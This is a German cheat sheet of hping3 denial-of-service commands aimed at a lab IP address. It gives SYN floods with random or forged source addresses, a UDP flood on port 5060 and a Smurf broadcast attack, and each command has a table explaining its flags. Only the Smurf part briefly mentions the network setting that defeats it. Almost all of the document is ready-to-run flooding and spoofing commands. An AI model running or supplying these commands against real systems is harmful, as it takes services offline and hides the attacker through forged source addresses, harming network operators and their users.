Hping3 dos

Standard DOS

• hping3 -S --flood -V -p 80 10.0.10.103

Option	Bedeutung
-S	sende SYN Pakete
--flood	Sende so schnell es geht, Antworten werden ignoriert
-V	Verbose
-p 80	port 80
10.0.10.103	Ziel IP

Flooding SYN Pakete gegen port 80

• hping3 -q -n -d 120 -S -p 80 --flood --rand-source 10.0.10.103

Option	Bedeutung
-q	verkürzte Ausgabe
-n	numerische Ausgabe
-d 120	Pakete einer Grösse von 120 Byte
-S	sende SYN Pakete
-p 80	port 80
--flood	Sende so schnell es geht, Antworten werden ignoriert
--rand-source	Wechsle Absender IP Adresse
10.0.10.103	Ziel IP

Fake IP und schneller

• hping3 -a 10.0.10.102 10.0.10.103 -S -q -p 80 --faster -c2

Option	Bedeutung
-a 10.0.10.102	Fake IP
10.0.10.103	Ziel IP
-S	sende SYN Pakete
-q	verkürzte Ausgabe
-p 80	port 80
--faster	noch schneller
-c 2	je 2 Pakete

UDP FLOOD

• hping3 --flood --rand-source --udp -p 5060 10.0.10.103

Smurf Attacke

• Smurf-Angriffe treten auf, wenn eine gefälschte Quelladresse eine große Anzahl von ICMP-Paketen an die Broadcast-Adresse sendet.
• Hosts in diesem Netzwerk werden dann antworten, da sie das Antworten auf Broadcast-Adressen unterstützen.
• Dies führt zu einer Denial-of-Service-Situation im lokalen LAN.
• Normalerweise möchten Sie, dass Ihre Netzwerkgeräte keinen gerichteten Broadcast über die Schnittstelle senden
• damit das Paket verworfen wird und nichts Schlimmes passiert.
• Wenn diese infrastrukturbasierte Konfiguration jedoch nicht festgelegt ist, ist der Smurf-Angriff erfolgreich.

• hping3-1 --flood -a 10.0.10.103 10.0.10.255